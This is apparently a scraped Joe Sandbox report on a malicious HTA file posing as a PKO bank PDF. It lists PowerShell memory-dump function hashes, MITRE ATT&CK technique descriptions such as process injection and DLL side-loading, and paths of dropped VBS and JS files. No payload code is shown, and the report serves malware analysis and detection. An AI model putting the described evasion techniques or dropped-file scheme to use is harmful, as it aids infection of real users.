Instruction ID: 9e7ed72aed07266c769c4d18d4458639b9b7f25ca1fb2fa204336af32d01214e
Opcode Fuzzy Hash: fd41b25da42d22cb1110f228e6185d43dbae2bc46d8419259cd18f7a9a5f4e11
Instruction Fuzzy Hash: FFC1F522A1F7DA4FE7669B7948654643FE0EF6B610B0E01FEC089CB0E3D9186D46C791

Function 00007FFD9B8B4503 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f14f34fd2e575a228c35be30f82485a0bce58dc8893be137e6361f165278c03e
Instruction ID: 2d8e7a6737bc09cc8add9e5d987d34bc02aec8f2d05a17eb406ad160034705cd
Opcode Fuzzy Hash: f14f34fd2e575a228c35be30f82485a0bce58dc8893be137e6361f165278c03e
Instruction Fuzzy Hash: F3811822A0E7D90FE7629B7888655A57FE1DF5B31070E01FFD489CB0A3D918AD06C792

Function 00007FFD9B8B451A Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60c699604230e80bbe3f89d4cd5edf75308d8232b8c4c91a0c6093ba62eacf8
Instruction ID: 6e0f4687e8f04de65ea8fd4163a8be10465cffb471ddffbc30b9c7dccc49e9de
Opcode Fuzzy Hash: c60c699604230e80bbe3f89d4cd5edf75308d8232b8c4c91a0c6093ba62eacf8
Instruction Fuzzy Hash: A961A06194F7DA0FE7638BB888655A13FE1DF5B220B0E01EFD489CB0A3D919590AC752

Function 00007FFD9B8B1391 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f338ba150e525ca30ffd3ad4edff8a2cc0498a1c7bb6a815d6caef7fba883262
Instruction ID: e5d9e624cb121da86460a6edf1465e6a837eccd6bd9da63d17a3dec203e60233
Opcode Fuzzy Hash: f338ba150e525ca30ffd3ad4edff8a2cc0498a1c7bb6a815d6caef7fba883262
Instruction Fuzzy Hash: 21513712B1FAD90FE3A9A77858A05B07FE2DF5A254B0A01FBD089CF1E3E9185C058791

Function 00007FFD9B8B00DD Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2407271574.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e901250130f0917fd9c9ed9893ac684d7fe9c9967e1a32758b44838279cf928
Instruction ID: 011bda2dc0783b4e42fa645e3a3c09a0a8490e31e069e9613403b7bafdb2fa53
Opcode Fuzzy Hash: 8e901250130f0917fd9c9ed9893ac684d7fe9c9967e1a32758b44838279cf928
Instruction Fuzzy Hash: 7D515831A1EB894FD75ADB6984658743BE1EF6A71070901FEC04ACB1A3D919EC46CB81

Function 00007FFD9B7E52F8 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2406220247.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a2f75797f57f14184155dc1d35ae5dc2771b903c48d92c95a1a14a09238d997
Instruction ID: 14126866155e3d3354015586f6d0f3fd69b6ce9bd472eb3d77fc7da3086e1446
Opcode Fuzzy Hash: 7a2f75797f57f14184155dc1d35ae5dc2771b903c48d92c95a1a14a09238d997
Instruction Fuzzy Hash: 6421AF7260E7CA0FE7528B6DA8624A57FB0EF93234B0902EBD1C5C70B3D515A946C751

Function 00007FFD9B7E5285 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2406220247.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 827ffc17c68b4394729c7d3db2028b5df0b9573fb2b38fd978749fd0e3804eba
Instruction ID: a0c2167b1b0d3f3826e60bf6f62beef7faf3de671d7ee8a2a08a44b671a440d9
Opcode Fuzzy Hash: 827ffc17c68b4394729c7d3db2028b5df0b9573fb2b38fd978749fd0e3804eba
Instruction Fuzzy Hash: DA01A77020CB0C4FD748EF0CE051AA9B3E0FF95320F10056DE58AC36A1D632E881CB41

Analysis Process: powershell.exePID: 7232, Parent PID: 7212COMMON

Executed Functions

Function 00007FFD9B8A1706 Relevance: .7, Instructions: 697COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407280920.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f3331140cff918c677756fbc64d9ec23beda3b942ef4d30509a4dc3ca81eadf
Instruction ID: 320b6943243b4d34e8941dc971eff82b5f4d9ecd11cfff0d67667d556e13b560
Opcode Fuzzy Hash: 8f3331140cff918c677756fbc64d9ec23beda3b942ef4d30509a4dc3ca81eadf
Instruction Fuzzy Hash: 57222672A0EACD4FE765EB6888656647BE1EF5B314F0900BED09CC71E3DA29AC05C311

Function 00007FFD9B8A4E85 Relevance: .4, Instructions: 433COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407280920.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1294524b71be076a0b205450da2f5913e18fb51ff75ecc68a445f9f7513e2596
Instruction ID: c0d42fdb84ef48a219349cd59ac43f7b4169a80a055315b1253d861ac61f7bdf
Opcode Fuzzy Hash: 1294524b71be076a0b205450da2f5913e18fb51ff75ecc68a445f9f7513e2596
Instruction Fuzzy Hash: D9D15832B0EACD4FEBA5ABA848355B57F90EF5A310B0900FED05CC70E3E918A945C361

Function 00007FFD9B8A0000 Relevance: .4, Instructions: 398COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407280920.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c1628338f37e8b48e4c662bec10e819b42fa9833f06352c646053cfe2355257
Instruction ID: 520f592dfbe5a389fd46cb72371cd54145d948b51e07754914f7297201988802
Opcode Fuzzy Hash: 1c1628338f37e8b48e4c662bec10e819b42fa9833f06352c646053cfe2355257
Instruction Fuzzy Hash: 09C1B412A0E7CA0FDB669B7848755A07FE0DF6B610B0E01FEC48DCB1E3D918A946C361

Function 00007FFD9B8A00DD Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407280920.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 684b385ec2ba4ad553a75003a42939b3628ab7a8e251294ba99838b9cf051853
Instruction ID: 696ebc57e058b70d69f5ded18fc5a990253c3da8c2ea37bd52eaae83eb262240
Opcode Fuzzy Hash: 684b385ec2ba4ad553a75003a42939b3628ab7a8e251294ba99838b9cf051853
Instruction Fuzzy Hash: 06513631B1EB894FDB5ADB6884A49743BE1EF6A71070901EEC44DCB1A3D919ED42C391

Function 00007FFD9B8A1391 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2407280920.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1a739267e534ac3971d67c691c9cfb4d19fdd033ec08e4b97f149e9818ee461
Instruction ID: ce5ce5762ba92aac61b7ec13ecf928d4d3971636fadd003903dcb6b3a1119a65
Opcode Fuzzy Hash: d1a739267e534ac3971d67c691c9cfb4d19fdd033ec08e4b97f149e9818ee461
Instruction Fuzzy Hash: 98513412B0FAC90FD7A59B6C18B52B03BE6DF5B254B0E01FBD099CB1E3E8095805C361

Function 00007FFD9B7D5285 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2406310293.00007FFD9B7D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffd9b7d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ef66baa3db6102c7c6af604fd7fbb8565f2f6ac632ee314f2b4353c618c10a7
Instruction ID: 3a0bf46f59a061e1b12f68143800688729db749e8e82149764d4d2b5cd99acaf
Opcode Fuzzy Hash: 2ef66baa3db6102c7c6af604fd7fbb8565f2f6ac632ee314f2b4353c618c10a7
Instruction Fuzzy Hash: 5A01A77020CB0C4FD748EF0CE051AA9B3E0FB95360F10066DE58AC36A1D732E881CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\676556be12aca.vbs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\676556be11f48[1].js

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\djtukm[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\list_files[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\cagesr[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\list_files[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\676556be12ac3[1].vbs

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1cz40sfv.zgh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5tcubamp.q3e.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xqdytq5f.s1z.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yirbytvl.aru.psm1

C:\Users\user\AppData\Local\Temp\cagesr.js

C:\Users\user\AppData\Local\Temp\djtukm.js

\Device\ConDrv

Static File Info

Windows Analysis Report
PKO_0019289289544_PDF_#U2463#U2466#U2465#U2462#U2461#U2466#U2464#U2462.hta